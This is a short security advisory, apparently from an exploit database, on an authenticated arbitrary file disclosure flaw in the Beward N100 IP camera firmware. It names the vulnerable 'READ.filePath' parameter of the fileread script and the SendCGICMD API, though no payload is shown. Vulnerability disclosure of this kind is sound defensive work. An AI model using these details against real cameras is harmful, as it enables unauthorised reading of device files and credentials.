BEWARD N100 H.264 VGA IP Camera M2.1.6 Arbitrary File Disclosure Vendor: Beward R&D Co., Ltd Product web page: https://www.beward.net Affected version: M2.1.6.04C014 Summary: The N100 compact color IP camera with support for a more efficient compression format is optimized for low-speed networks, thanks to which it transmits a real-time image over the network with minimal delays. The camera supports the switching of the broadcast modes, and in the event of a break in communication with the remote file storage, it can continue recording to the microSDHC memory card. N100 is easy to install and configure, has all the necessary arsenal for the organization of low-cost professional video surveillance systems. Desc: The camera suffers from an authenticated file disclosure vulnerability. Input passed via the 'READ.filePath' parameter in fileread script is not properly verified before being used to read files. This can be exploited to disclose the contents of arbitrary files via absolute path or via the SendCGICMD API.
